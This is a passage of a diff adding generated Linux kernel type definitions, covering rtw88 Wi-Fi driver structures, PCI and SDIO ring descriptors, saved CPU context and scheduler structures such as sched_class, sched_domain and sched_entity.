tx_pwr_limit_2g[3276]; + s8 tx_pwr_limit_5g[11466]; + s8 tx_pwr_tbl[336]; + enum rtw_sar_bands sar_band; + struct rtw_sar sar; + u32 ch_param[3]; +}; + +struct rtw_fifo_conf { + u16 rsvd_boundary; + u16 rsvd_pg_num; + u16 rsvd_drv_pg_num; + u16 txff_pg_num; + u16 acq_pg_num; + u16 rsvd_drv_addr; + u16 rsvd_h2c_info_addr; + u16 rsvd_h2c_sta_info_addr; + u16 rsvd_h2cq_addr; + u16 rsvd_cpu_instr_addr; + u16 rsvd_fw_txbuf_addr; + u16 rsvd_csibuf_addr; + const struct rtw_rqpn *rqpn; +}; + +struct rtw_fwcd_desc { + u32 size; + u8 *next; + u8 *data; +}; + +struct rtw_fw_state { + const struct firmware *firmware; + struct rtw_dev *rtwdev; + struct completion completion; + struct rtw_fwcd_desc fwcd_desc; + u16 version; + u8 sub_version; + u8 sub_index; + u16 h2c_version; + u32 feature; + u32 feature_ext; + enum rtw_fw_type type; +}; + +struct rtw_efuse { + u32 size; + u32 physical_size; + u32 logical_size; + u32 protect_size; + u8 addr[6]; + u8 channel_plan; + u8 country_code[2]; + u8 rf_board_option; + u8 rfe_option; + u8 power_track_type; + u8 thermal_meter[4]; + u8 thermal_meter_k; + u8 crystal_cap; + u8 ant_div_cfg; + u8 ant_div_type; + u8 regd; + u8 afe; + u8 lna_type_2g; + u8 lna_type_5g; + u8 glna_type; + u8 alna_type; + bool ext_lna_2g; + bool ext_lna_5g; + u8 pa_type_2g; + u8 pa_type_5g; + u8 gpa_type; + u8 apa_type; + bool ext_pa_2g; + bool ext_pa_5g; + u8 tx_bb_swing_setting_2g; + u8 tx_bb_swing_setting_5g; + bool btcoex; + bool share_ant; + u8 bt_setting; + u8 usb_mode_switch; + struct { + u8 hci; + u8 bw; + u8 ptcl; + u8 nss; + u8 ant_num; + } hw_cap; + struct rtw_txpwr_idx txpwr_idx_table[4]; +}; + +struct rtw_sec_desc { + bool default_key_search; + u32 total_cam_num; + struct rtw_cam_entry cam_table[32]; + unsigned long cam_map[1]; +}; + +struct rtw_traffic_stats { + u64 tx_unicast; + u64 rx_unicast; + u64 tx_cnt; + u64 rx_cnt; + u32 tx_throughput; + u32 rx_throughput; + struct ewma_tp tx_ewma_tp; + struct ewma_tp rx_ewma_tp; +}; + +struct rtw_regulatory; + +struct rtw_regd { + enum rtw_regd_state state; + const struct rtw_regulatory *regulatory; + enum nl80211_dfs_regions dfs_region; +}; + +struct rtw_dpk_info { + bool is_dpk_pwr_on; + bool is_reload; + unsigned long dpk_path_ok[1]; + u8 thermal_dpk[2]; + struct ewma_thermal avg_thermal[2]; + u32 gnt_control; + u32 gnt_value; + u8 result[4]; + u8 dpk_txagc[4]; + u32 coef[80]; + u16 dpk_gs[4]; + u8 thermal_dpk_delta[4]; + u8 pre_pwsf[4]; + u8 dpk_band; + u8 dpk_ch; + u8 dpk_bw; +}; + +struct rtw_pkt_count { + u16 num_bcn_pkt; + u16 num_qry_pkt[84]; +}; + +struct rtw_iqk_info { + bool done; + struct { + u32 s1_x; + u32 s1_y; + u32 s0_x; + u32 s0_y; + } result; +}; + +struct rtw_gapk_info { + u32 rf3f_bp[220]; + u32 rf3f_fs[44]; + bool txgapk_bp_done; + s8 offset[44]; + s8 fianl_offset[44]; + u8 read_txgain; + u8 channel; +}; + +struct rtw_dm_info { + u32 cck_fa_cnt; + u32 ofdm_fa_cnt; + u32 total_fa_cnt; + u32 cck_cca_cnt; + u32 ofdm_cca_cnt; + u32 total_cca_cnt; + u32 cck_ok_cnt; + u32 cck_err_cnt; + u32 ofdm_ok_cnt; + u32 ofdm_err_cnt; + u32 ht_ok_cnt; + u32 ht_err_cnt; + u32 vht_ok_cnt; + u32 vht_err_cnt; + u8 min_rssi; + u8 pre_min_rssi; + u16 fa_history[4]; + u8 igi_history[4]; + u8 igi_bitmap; + bool damping; + u8 damping_cnt; + u8 damping_rssi; + u8 cck_gi_u_bnd; + u8 cck_gi_l_bnd; + u8 fix_rate; + u8 tx_rate; + u32 rrsr_val_init; + u32 rrsr_mask_min; + u8 thermal_avg[4]; + u8 thermal_meter_k; + u8 thermal_meter_lck; + s8 delta_power_index[4]; + s8 delta_power_index_last[4]; + u8 default_ofdm_index; + u8 default_cck_index; + bool pwr_trk_triggered; + bool pwr_trk_init_trigger; + struct ewma_thermal avg_thermal[4]; + s8 txagc_remnant_cck; + s8 txagc_remnant_ofdm; + u8 rx_cck_agc_report_type; + u32 dack_adck[4]; + u16 dack_msbk[120]; + u8 dack_dck[16]; + struct rtw_dpk_info dpk_info; + struct rtw_cfo_track cfo_track; + u8 cck_pd_lv[8]; + u32 cck_fa_avg; + u8 cck_pd_default; + s8 rx_snr[4]; + u8 rx_evm_dbm[4]; + s16 cfo_tail[4]; + u8 rssi[4]; + u8 curr_rx_rate; + struct rtw_pkt_count cur_pkt_count; + struct rtw_pkt_count last_pkt_count; + struct ewma_evm ewma_evm[4]; + struct ewma_snr ewma_snr[12]; + u32 dm_flags; + struct rtw_iqk_info iqk; + struct rtw_gapk_info gapk; + bool is_bt_iqk_timeout; + s8 l2h_th_ini; + enum rtw_edcca_mode edcca_mode; + u8 scan_density; +}; + +struct rtw_tx_report { + spinlock_t q_lock; + struct sk_buff_head queue; + atomic_t sn; + struct timer_list purge_timer; +}; + +struct rtw_lps_conf { + enum rtw_lps_mode mode; + enum rtw_lps_deep_mode deep_mode; + enum rtw_lps_deep_mode wow_deep_mode; + enum rtw_pwr_state state; + u8 awake_interval; + u8 rlbm; + u8 smart_ps; + u8 port_id; + bool sec_cam_backup; + bool pattern_cam_backup; +}; + +struct rtw_debugfs; + +struct rtw_path_div { + enum rtw_bb_path current_tx_path; + u32 path_a_sum; + u32 path_b_sum; + u16 path_a_cnt; + u16 path_b_cnt; +}; + +struct rtw_wow_pattern { + u16 crc; + u8 type; + u8 valid; + u8 mask[16]; +}; + +struct rtw_pno_request { + bool inited; + u32 match_set_cnt; + struct cfg80211_match_set *match_sets; + u8 channel_cnt; + struct ieee80211_channel *channels; + struct cfg80211_sched_scan_plan scan_plan; +}; + +struct rtw_wow_param { + struct ieee80211_vif *wow_vif; + unsigned long flags[1]; + u8 txpause; + u8 pattern_cnt; + struct rtw_wow_pattern patterns[12]; + bool ips_enabled; + struct rtw_pno_request pno_req; +}; + +struct rtw_dev { + struct ieee80211_hw *hw; + struct device *dev; + struct rtw_hci hci; + struct rtw_hw_scan_info scan_info; + const struct rtw_chip_info *chip; + struct rtw_hal hal; + struct rtw_fifo_conf fifo; + struct rtw_fw_state fw; + struct rtw_efuse efuse; + struct rtw_sec_desc sec; + struct rtw_traffic_stats stats; + struct rtw_regd regd; + struct rtw_bf_info bf_info; + struct rtw_dm_info dm_info; + struct rtw_coex coex; + struct mutex mutex; + struct delayed_work watch_dog_work; + u32 watch_dog_cnt; + struct list_head rsvd_page_list; + struct sk_buff_head c2h_queue; + struct work_struct c2h_work; + struct work_struct ips_work; + struct work_struct fw_recovery_work; + struct work_struct update_beacon_work; + spinlock_t txq_lock; + struct list_head txqs; + struct workqueue_struct *tx_wq; + struct work_struct tx_work; + struct work_struct ba_work; + struct rtw_tx_report tx_report; + struct { + u8 last_box_num; + u32 seq; + } h2c; + struct rtw_lps_conf lps_conf; + bool ps_enabled; + bool beacon_loss; + struct completion lps_leave_check; + struct rtw_debugfs *debugfs; + u8 sta_cnt; + u32 rts_threshold; + unsigned long hw_port[1]; + unsigned long mac_id_map[1]; + unsigned long flags[1]; + u8 mp_mode; + struct rtw_path_div dm_path_div; + struct rtw_fw_state wow_fw; + struct rtw_wow_param wow; + bool need_rfk; + struct completion fw_scan_density; + bool ap_active; + long: 0; + u8 priv[0]; +}; + +struct rtw_fw_hdr { + __le16 signature; + u8 category; + u8 function; + __le16 version; + u8 subversion; + u8 subindex; + __le32 rsvd; + __le32 feature; + u8 month; + u8 day; + u8 hour; + u8 min; + __le16 year; + __le16 rsvd3; + u8 mem_usage; + u8 rsvd4[3]; + __le16 h2c_fmt_ver; + __le16 rsvd5; + __le32 dmem_addr; + __le32 dmem_size; + __le32 rsvd6; + __le32 rsvd7; + __le32 imem_size; + __le32 emem_size; + __le32 emem_addr; + __le32 imem_addr; +}; + +struct rtw_fw_hdr_legacy { + __le16 signature; + u8 category; + u8 function; + __le16 version; + u8 subversion1; + u8 subversion2; + u8 month; + u8 day; + u8 hour; + u8 minute; + __le16 size; + __le16 rsvd2; + __le32 idx; + __le32 rsvd3; + __le32 rsvd4; + __le32 rsvd5; +}; + +struct rtw_fw_iter_ra_data { + struct rtw_dev *rtwdev; + u8 *payload; +}; + +struct rtw_fw_key_type_iter_data { + struct rtw_dev *rtwdev; + u8 group_key_type; + u8 pairwise_key_type; +}; + +struct rtw_fw_media_status_iter_data { + struct rtw_dev *rtwdev; + u8 connect; +}; + +struct rtw_fw_wow_disconnect_para { + bool adopt; + u8 period; + u8 retry_count; +}; + +struct rtw_fw_wow_keep_alive_para { + bool adopt; + u8 pkt_type; + u8 period; +}; + +struct rtw_fwcd_hdr { + u32 item; + u32 size; + u32 padding1; + u32 padding2; +}; + +struct rtw_fwcd_segs { + const u32 *segs; + u8 num; +}; + +struct rtw_h2c_cmd { + __le32 msg; + __le32 msg_ext; +}; + +struct rtw_h2c_register { + u32 w0; + u32 w1; +}; + +struct rtw_hci_ops { + int (*tx_write)(struct rtw_dev *, struct rtw_tx_pkt_info *, struct sk_buff *); + void (*tx_kick_off)(struct rtw_dev *); + void (*flush_queues)(struct rtw_dev *, u32, bool); + int (*setup)(struct rtw_dev *); + int (*start)(struct rtw_dev *); + void (*stop)(struct rtw_dev *); + void (*deep_ps)(struct rtw_dev *, bool); + void (*link_ps)(struct rtw_dev *, bool); + void (*interface_cfg)(struct rtw_dev *); + void (*dynamic_rx_agg)(struct rtw_dev *, bool); + int (*write_data_rsvd_page)(struct rtw_dev *, u8 *, u32); + int (*write_data_h2c)(struct rtw_dev *, u8 *, u32); + u8 (*read8)(struct rtw_dev *, u32); + u16 (*read16)(struct rtw_dev *, u32); + u32 (*read32)(struct rtw_dev *, u32); + void (*write8)(struct rtw_dev *, u32, u8); + void (*write16)(struct rtw_dev *, u32, u16); + void (*write32)(struct rtw_dev *, u32, u32); +}; + +struct rtw_hw_reg { + u32 addr; + u32 mask; +}; + +struct rtw_hw_reg_desc { + u32 addr; + u32 mask; + const char *desc; +}; + +struct rtw_hw_reg_offset { + struct rtw_hw_reg hw_reg; + u8 offset; +}; + +struct rtw_intf_phy_para { + u16 offset; + u16 value; + u16 ip_sel; + u16 cut_mask; + u16 platform; +}; + +struct rtw_intf_phy_para_table { + const struct rtw_intf_phy_para *usb2_para; + const struct rtw_intf_phy_para *usb3_para; + const struct rtw_intf_phy_para *gen1_para; + const struct rtw_intf_phy_para *gen2_para; + u8 n_usb2_para; + u8 n_usb3_para; + u8 n_gen1_para; + u8 n_gen2_para; +}; + +struct rtw_iqk_para { + u8 clear; + u8 segment_iqk; +}; + +struct rtw_iter_bitrate_mask_data { + struct rtw_dev *rtwdev; + struct ieee80211_vif *vif; + const struct cfg80211_bitrate_mask *mask; +}; + +struct rtw_iter_port_switch_data { + struct rtw_dev *rtwdev; + struct rtw_vif *rtwvif_ap; +}; + +struct rtw_iter_stas_data { + struct rtw_dev *rtwdev; + struct list_head list; +}; + +struct rtw_iter_vifs_data { + struct rtw_dev *rtwdev; + struct list_head list; +}; + +struct rtw_lps_pg_dpk_hdr { + u16 dpk_path_ok; + u8 dpk_txagc[2]; + u16 dpk_gs[2]; + u32 coef[40]; + u8 dpk_ch; +} __attribute__((packed)); + +struct rtw_lps_pg_info_hdr { + u8 macid; + u8 mbssid; + u8 pattern_count; + u8 mu_tab_group_id; + u8 sec_cam_count; + u8 tx_bu_page_count; + u16 rsvd; + u8 sec_cam[8]; +}; + +struct rtw_ltecoex_addr { + u32 ctrl; + u32 wdata; + u32 rdata; +}; + +struct rtw_nlo_info_hdr { + u8 nlo_count; + u8 hidden_ap_count; + u8 rsvd1[2]; + u8 pattern_check[4]; + u8 rsvd2[8]; + u8 ssid_len[16]; + u8 chiper[16]; + u8 rsvd3[16]; + u8 location[8]; +}; + +struct rtw_page_table { + u16 hq_num; + u16 nq_num; + u16 lq_num; + u16 exq_num; + u16 gapq_num; +}; + +struct rtw_pci_ring { + u8 *head; + dma_addr_t dma; + u8 desc_size; + u32 len; + u32 wp; + u32 rp; +}; + +struct rtw_pci_tx_ring { + struct rtw_pci_ring r; + struct sk_buff_head queue; + bool queue_stopped; +}; + +struct rtw_pci_rx_ring { + struct rtw_pci_ring r; + struct sk_buff *buf[512]; +}; + +struct rtw_pci { + struct pci_dev *pdev; + spinlock_t hwirq_lock; + spinlock_t irq_lock; + u32 irq_mask[4]; + bool irq_enabled; + bool running; + struct net_device *netdev; + struct napi_struct napi; + u16 rx_tag; + unsigned long tx_queued[1]; + struct rtw_pci_tx_ring tx_rings[8]; + struct rtw_pci_rx_ring rx_rings[2]; + u16 link_ctrl; + atomic_t link_usage; + bool rx_no_aspm; + unsigned long flags[1]; + void *mmap; +}; + +struct rtw_pci_rx_buffer_desc { + __le16 buf_size; + __le16 total_pkt_size; + __le32 dma; +}; + +struct rtw_pci_tx_buffer_desc { + __le16 buf_size; + __le16 psb_len; + __le32 dma; +}; + +struct rtw_pci_tx_data { + dma_addr_t dma; + u8 sn; +}; + +struct rtw_phy_cck_pd_reg { + u32 reg_pd; + u32 mask_pd; + u32 reg_cs; + u32 mask_cs; +}; + +struct rtw_phy_pg_cfg_pair { + u32 band; + u32 rf_path; + u32 tx_num; + u32 addr; + u32 bitmask; + u32 data; +}; + +struct rtw_phy_stat_iter_data { + struct rtw_dev *rtwdev; + u8 min_rssi; +}; + +struct rtw_power_params { + u8 pwr_base; + s8 pwr_offset; + s8 pwr_limit; + s8 pwr_remnant; + s8 pwr_sar; +}; + +struct rtw_prioq_addr { + u32 rsvd; + u32 avail; +}; + +struct rtw_prioq_addrs { + struct rtw_prioq_addr prio[4]; + bool wsize; +}; + +struct rtw_pwr_seq_cmd { + u16 offset; + u8 cut_mask; + u8 intf_mask; + u8 base: 4; + u8 cmd: 4; + u8 mask; + u8 value; +}; + +struct rtw_pwr_track_tbl { + const u8 *pwrtrk_5gb_n[3]; + const u8 *pwrtrk_5gb_p[3]; + const u8 *pwrtrk_5ga_n[3]; + const u8 *pwrtrk_5ga_p[3]; + const u8 *pwrtrk_2gb_n; + const u8 *pwrtrk_2gb_p; + const u8 *pwrtrk_2ga_n; + const u8 *pwrtrk_2ga_p; + const u8 *pwrtrk_2g_cckb_n; + const u8 *pwrtrk_2g_cckb_p; + const u8 *pwrtrk_2g_ccka_n; + const u8 *pwrtrk_2g_ccka_p; + const s8 *pwrtrk_xtal_n; + const s8 *pwrtrk_xtal_p; +}; + +struct rtw_ra_report { + struct rate_info txrate; + u32 bit_rate; + u8 desc_rate; +}; + +struct rtw_reg_domain { + u32 addr; + u32 mask; + u8 domain; +}; + +struct rtw_regd_alternative_t { + bool set; + u8 alt; +}; + +struct rtw_regulatory { + char alpha2[2]; + u8 txpwr_regd_2g; + u8 txpwr_regd_5g; +}; + +struct rtw_rf_sipi_addr { + u32 hssi_1; + u32 hssi_2; + u32 lssi_read; + u32 lssi_read_pi; +}; + +struct rtw_rfe_def { + const struct rtw_table *phy_pg_tbl; + const struct rtw_table *txpwr_lmt_tbl; + const struct rtw_table *agc_btg_tbl; +}; + +struct rtw_rqpn { + enum rtw_dma_mapping dma_map_vo; + enum rtw_dma_mapping dma_map_vi; + enum rtw_dma_mapping dma_map_be; + enum rtw_dma_mapping dma_map_bk; + enum rtw_dma_mapping dma_map_mg; + enum rtw_dma_mapping dma_map_hi; +}; + +struct rtw_rsvd_page { + struct list_head vif_list; + struct rtw_vif *rtwvif; + struct list_head build_list; + struct sk_buff *skb; + enum rtw_rsvd_packet_type type; + u8 page; + u16 tim_offset; + bool add_txdesc; + struct cfg80211_ssid *ssid; + u16 probe_req_size; +}; + +struct rtw_rx_addr_match_data { + struct rtw_dev *rtwdev; + struct ieee80211_hdr *hdr; + struct rtw_rx_pkt_stat *pkt_stat; + u8 *bssid; +}; + +struct rtw_sta_info; + +struct rtw_rx_pkt_stat { + bool phy_status; + bool icv_err; + bool crc_err; + bool decrypted; + bool is_c2h; + bool channel_invalid; + s32 signal_power; + u16 pkt_len; + u8 bw; + u8 drv_info_sz; + u8 shift; + u8 rate; + u8 mac_id; + u8 cam_id; + u8 ppdu_cnt; + u32 tsf_low; + s8 rx_power[4]; + u8 rssi; + u8 rxsc; + s8 rx_snr[4]; + u8 rx_evm[4]; + s8 cfo_tail[4]; + u16 freq; + u8 band; + struct rtw_sta_info *si; + struct ieee80211_vif *vif; + struct ieee80211_hdr *hdr; +}; + +struct rtw_sar_arg { + u8 sar_band; + u8 path; + u8 rs; +}; + +struct sdio_func; + +struct rtw_sdio_work_data; + +struct rtw_sdio { + struct sdio_func *sdio_func; + u32 irq_mask; + u8 rx_addr; + bool sdio3_bus_mode; + void *irq_thread; + struct workqueue_struct *txwq; + struct rtw_sdio_work_data *tx_handler_data; + struct sk_buff_head tx_queue[8]; +}; + +struct rtw_sdio_work_data { + struct work_struct work; + struct rtw_dev *rtwdev; +}; + +struct rtw_sta_info { + struct rtw_dev *rtwdev; + struct ieee80211_sta *sta; + struct ieee80211_vif *vif; + struct ewma_rssi avg_rssi; + u8 rssi_level; + u8 mac_id; + u8 rate_id; + enum rtw_bandwidth bw_mode; + enum rtw_rf_type rf_type; + u8 stbc_en: 2; + u8 ldpc_en: 2; + bool sgi_enable; + bool vht_enable; + u8 init_ra_lv; + u64 ra_mask; + unsigned long tid_ba[1]; + struct rtw_ra_report ra_report; + bool use_cfg_mask; + struct cfg80211_bitrate_mask *mask; + struct work_struct rc_work; +}; + +struct rtw_stas_entry { + struct list_head list; + struct ieee80211_sta *sta; +}; + +struct rtw_swing_table { + const u8 *p[4]; + const u8 *n[4]; +}; + +struct rtw_table { + const void *data; + const u32 size; + void (*parse)(struct rtw_dev *, const struct rtw_table *); + void (*do_cfg)(struct rtw_dev *, const struct rtw_table *, u32, u32); + enum rtw_rf_path rf_path; +}; + +struct rtw_tx_desc { + __le32 w0; + __le32 w1; + __le32 w2; + __le32 w3; + __le32 w4; + __le32 w5; + __le32 w6; + __le32 w7; + __le32 w8; + __le32 w9; +}; + +struct rtw_tx_pkt_info { + u32 tx_pkt_size; + u8 offset; + u8 pkt_offset; + u8 tim_offset; + u8 mac_id; + u8 rate_id; + u8 rate; + u8 qsel; + u8 bw; + u8 sec_type; + u8 sn; + bool ampdu_en; + u8 ampdu_factor; + u8 ampdu_density; + u16 seq; + bool stbc; + bool ldpc; + bool dis_rate_fallback; + bool bmc; + bool use_rate; + bool ls; + bool fs; + bool short_gi; + bool report; + bool rts; + bool dis_qselseq; + bool en_hwseq; + u8 hw_ssn_sel; + bool nav_use_hdr; + bool bt_null; +}; + +struct rtw_txpwr_lmt_cfg_pair { + u8 regd; + u8 band; + u8 bw; + u8 rs; + u8 ch; + s8 txpwr_lmt; +}; + +struct rtw_txq { + struct list_head list; + unsigned long flags; +}; + +struct rtw_txq_ba_iter_data {}; + +struct rtw_vif_port; + +struct rtw_vif { + enum rtw_net_type net_type; + u16 aid; + u8 mac_id; + u8 mac_addr[6]; + u8 bssid[6]; + u8 port; + u8 bcn_ctrl; + struct list_head rsvd_page_list; + struct ieee80211_tx_queue_params tx_params[4]; + const struct rtw_vif_port *conf; + struct cfg80211_scan_request *scan_req; + struct ieee80211_scan_ies *scan_ies; + struct rtw_traffic_stats stats; + struct rtw_bfee bfee; +}; + +struct rtw_vif_port { + struct rtw_hw_reg mac_addr; + struct rtw_hw_reg bssid; + struct rtw_hw_reg net_type; + struct rtw_hw_reg aid; + struct rtw_hw_reg bcn_ctrl; +}; + +struct rtw_vif_recalc_lps_iter_data { + struct rtw_dev *rtwdev; + struct ieee80211_vif *found_vif; + int count; +}; + +struct rtw_vifs_entry { + struct list_head list; + struct ieee80211_vif *vif; +}; + +struct rtw_watch_dog_iter_data { + struct rtw_dev *rtwdev; + struct rtw_vif *rtwvif; +}; + +struct rusage { + struct __kernel_old_timeval ru_utime; + struct __kernel_old_timeval ru_stime; + __kernel_long_t ru_maxrss; + __kernel_long_t ru_ixrss; + __kernel_long_t ru_idrss; + __kernel_long_t ru_isrss; + __kernel_long_t ru_minflt; + __kernel_long_t ru_majflt; + __kernel_long_t ru_nswap; + __kernel_long_t ru_inblock; + __kernel_long_t ru_oublock; + __kernel_long_t ru_msgsnd; + __kernel_long_t ru_msgrcv; + __kernel_long_t ru_nsignals; + __kernel_long_t ru_nvcsw; + __kernel_long_t ru_nivcsw; +}; + +typedef struct rw_semaphore *class_rwsem_read_t; + +struct rwsem_waiter { + struct list_head list; + struct task_struct *task; + enum rwsem_waiter_type type; + unsigned long timeout; + bool handoff_set; +}; + +struct rx { + struct rx *next; + struct rx *prev; + struct sk_buff *skb; + dma_addr_t dma_addr; +}; + +struct rx_agg { + struct list_head list; + struct list_head info_list; + struct urb *urb; + struct r8152 *context; + struct page *page; + void *buffer; +}; + +struct rx_desc { + __le32 opts1; + __le32 opts2; + __le32 opts3; + __le32 opts4; + __le32 opts5; + __le32 opts6; +}; + +struct rx_queue_attribute { + struct attribute attr; + ssize_t (*show)(struct netdev_rx_queue *, char *); + ssize_t (*store)(struct netdev_rx_queue *, const char *, size_t); +}; + +struct rxdone_entry_desc { + u64 timestamp; + int signal; + int rssi; + int size; + int flags; + int dev_flags; + u16 rate_mode; + u16 enc_flags; + enum mac80211_rx_encoding encoding; + enum rate_info_bw bw; + u8 cipher; + u8 cipher_status; + __le32 iv[2]; + __le32 icv; +}; + +struct s3_save { + u32 command; + u32 dev_nt; + u64 dcbaa_ptr; + u32 config_reg; +}; + +struct s_data { + struct sched_domain * __attribute__((btf_type_tag("percpu"))) *sd; + struct root_domain *rd; +}; + +struct saved_alias { + struct kmem_cache *s; + const char *name; + struct saved_alias *next; +}; + +struct saved_cmdlines_buffer { + unsigned int map_pid_to_cmdline[32769]; + unsigned int *map_cmdline_to_pid; + unsigned int cmdline_num; + int cmdline_idx; + char saved_cmdlines[0]; +}; + +struct saved_msr; + +struct saved_msrs { + unsigned int num; + struct saved_msr *array; +}; + +struct saved_context { + struct pt_regs regs; + u16 ds; + u16 es; + u16 fs; + u16 gs; + unsigned long kernelmode_gs_base; + unsigned long usermode_gs_base; + unsigned long fs_base; + unsigned long cr0; + unsigned long cr2; + unsigned long cr3; + unsigned long cr4; + u64 misc_enable; + struct saved_msrs saved_msrs; + unsigned long efer; + u16 gdt_pad; + struct desc_ptr gdt_desc; + u16 idt_pad; + struct desc_ptr idt; + u16 ldt; + u16 tss; + unsigned long tr; + unsigned long safety; + unsigned long return_address; + bool misc_enable_saved; +} __attribute__((packed)); + +struct saved_msr { + bool valid; + struct msr_info info; +}; + +struct saved_syn { + u32 mac_hdrlen; + u32 network_hdrlen; + u32 tcp_hdrlen; + u8 data[0]; +}; + +struct sb_writers { + unsigned short frozen; + int freeze_kcount; + int freeze_ucount; + struct percpu_rw_semaphore rw_sem[3]; +}; + +struct sbitmap_word { + unsigned long word; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + unsigned long cleared; + spinlock_t swap_lock; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct sbq_wait_state { + wait_queue_head_t wait; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct scan_control { + unsigned long nr_to_reclaim; + nodemask_t *nodemask; + struct mem_cgroup *target_mem_cgroup; + unsigned long anon_cost; + unsigned long file_cost; + int *proactive_swappiness; + unsigned int may_deactivate: 2; + unsigned int force_deactivate: 1; + unsigned int skipped_deactivate: 1; + unsigned int may_writepage: 1; + unsigned int may_unmap: 1; + unsigned int may_swap: 1; + unsigned int no_cache_trim_mode: 1; + unsigned int cache_trim_mode_failed: 1; + unsigned int proactive: 1; + unsigned int memcg_low_reclaim: 1; + unsigned int memcg_low_skipped: 1; + unsigned int memcg_full_walk: 1; + unsigned int hibernation_mode: 1; + unsigned int compaction_ready: 1; + unsigned int cache_trim_mode: 1; + unsigned int file_is_tiny: 1; + unsigned int no_demotion: 1; + s8 order; + s8 priority; + s8 reclaim_idx; + gfp_t gfp_mask; + unsigned long nr_scanned; + unsigned long nr_reclaimed; + struct { + unsigned int dirty; + unsigned int unqueued_dirty; + unsigned int congested; + unsigned int writeback; + unsigned int immediate; + unsigned int file_taken; + unsigned int taken; + } nr; + struct reclaim_state reclaim_state; +}; + +struct scatter_walk { + struct scatterlist *sg; + unsigned int offset; +}; + +struct sch_frag_data { + unsigned long dst; + struct qdisc_skb_cb cb; + __be16 inner_protocol; + u16 vlan_tci; + __be16 vlan_proto; + unsigned int l2_len; + u8 l2_data[18]; + int (*xmit)(struct sk_buff *); +}; + +struct sched_attr { + __u32 size; + __u32 sched_policy; + __u64 sched_flags; + __s32 sched_nice; + __u32 sched_priority; + __u64 sched_runtime; + __u64 sched_deadline; + __u64 sched_period; + __u32 sched_util_min; + __u32 sched_util_max; +}; + +struct sched_class { + int uclamp_enabled; + void (*enqueue_task)(struct rq *, struct task_struct *, int); + bool (*dequeue_task)(struct rq *, struct task_struct *, int); + void (*yield_task)(struct rq *); + bool (*yield_to_task)(struct rq *, struct task_struct *); + void (*wakeup_preempt)(struct rq *, struct task_struct *, int); + int (*balance)(struct rq *, struct task_struct *, struct rq_flags *); + struct task_struct * (*pick_task)(struct rq *); + struct task_struct * (*pick_next_task)(struct rq *, struct task_struct *); + void (*put_prev_task)(struct rq *, struct task_struct *, struct task_struct *); + void (*set_next_task)(struct rq *, struct task_struct *, bool); + int (*select_task_rq)(struct task_struct *, int, int); + void (*migrate_task_rq)(struct task_struct *, int); + void (*task_woken)(struct rq *, struct task_struct *); + void (*set_cpus_allowed)(struct task_struct *, struct affinity_context *); + void (*rq_online)(struct rq *); + void (*rq_offline)(struct rq *); + struct rq * (*find_lock_rq)(struct task_struct *, struct rq *); + void (*task_tick)(struct rq *, struct task_struct *, int); + void (*task_fork)(struct task_struct *); + void (*task_dead)(struct task_struct *); + void (*switching_to)(struct rq *, struct task_struct *); + void (*switched_from)(struct rq *, struct task_struct *); + void (*switched_to)(struct rq *, struct task_struct *); + void (*reweight_task)(struct rq *, struct task_struct *, const struct load_weight *); + void (*prio_changed)(struct rq *, struct task_struct *, int); + unsigned int (*get_rr_interval)(struct rq *, struct task_struct *); + void (*update_curr)(struct rq *); + void (*task_change_group)(struct task_struct *); + int (*task_is_throttled)(struct task_struct *, int); +}; + +struct sched_clock_data { + u64 tick_raw; + u64 tick_gtod; + u64 clock; +}; + +struct sched_core_cookie { + refcount_t refcnt; +}; + +struct sched_group; + +struct sched_domain_shared; + +struct sched_domain { + struct sched_domain __attribute__((btf_type_tag("rcu"))) *parent; + struct sched_domain __attribute__((btf_type_tag("rcu"))) *child; + struct sched_group *groups; + unsigned long min_interval; + unsigned long max_interval; + unsigned int busy_factor; + unsigned int imbalance_pct; + unsigned int cache_nice_tries; + unsigned int imb_numa_nr; + int nohz_idle; + int flags; + int level; + unsigned long last_balance; + unsigned int balance_interval; + unsigned int nr_balance_failed; + u64 max_newidle_lb_cost; + unsigned long last_decay_max_lb_cost; + char *name; + union { + void *private; + struct callback_head rcu; + }; + struct sched_domain_shared *shared; + unsigned int span_weight; + unsigned long span[0]; +}; + +struct sched_domain_attr { + int relax_domain_level; +}; + +struct sched_domain_shared { + atomic_t ref; + atomic_t nr_busy_cpus; + int has_idle_cores; + int nr_idle_scan; +}; + +typedef const struct cpumask * (*sched_domain_mask_f)(int); + +typedef int (*sched_domain_flags_f)(void); + +struct sched_group_capacity; + +struct sd_data { + struct sched_domain * __attribute__((btf_type_tag("percpu"))) *sd; + struct sched_domain_shared * __attribute__((btf_type_tag("percpu"))) *sds; + struct sched_group * __attribute__((btf_type_tag("percpu"))) *sg; + struct sched_group_capacity * __attribute__((btf_type_tag("percpu"))) *sgc; +}; + +struct sched_domain_topology_level { + sched_domain_mask_f mask; + sched_domain_flags_f sd_flags; + int flags; + int numa_level; + struct sd_data data; + char *name; +}; + +struct sched_enq_and_set_ctx { + struct task_struct *p; + int queue_flags; + bool queued; + bool running; +}; + +struct sched_entity { + struct load_weight load; + struct rb_node run_node; + u64 deadline; + u64 min_vruntime; + u64 min_slice; + struct list_head group_node; + unsigned char on_rq; + unsigned char sched_delayed; + unsigned char rel_deadline; + unsigned char custom_slice; + u64 exec_start; + u64 sum_exec_runtime; + u64 prev_sum_exec_runtime; + u64 vruntime; + s64 vlag; + u64 slice; + u64 nr_migrations; + int depth; + struct sched_entity *parent; + struct cfs_rq *cfs_rq; + struct cfs_rq *my_q; + unsigned long runnable_weight; + long: 64; + struct sched_avg avg; +}; + +struct sched_ext_entity { + struct scx_dispatch_q *dsq; + struct scx_dsq_list_node dsq_list; + struct rb_node dsq_priq; + u32 dsq_seq; + u32 dsq_flags; + u32 flags; + u32 weight; + s32 sticky_cpu; + s32 holding_cpu; + u32 kf_mask; + struct task_struct *kf_tasks[2]; + atomic_long_t ops_state; + struct list_head runnable_node; + unsigned long runnable_at; + u64 core_sched_at; + u64 ddsp_dsq_id; + u64 ddsp_enq_flags; + u64 slice; + u64 dsq_vtime; + bool disallow; + struct cgroup *cgrp_moving_from; + struct list_head tasks_node; +}; + +struct sched_group { + struct sched_group *next; + atomic_t ref; + unsigned int group_weight; + unsigned int cores; + struct sched_group_capacity *sgc; + int asym_prefer_cpu; + int flags; + unsigned long cpumask[0]; +}; + +struct sched_group_capacity { + atomic_t ref; + unsigned long capacity; + unsigned long min_capacity; + 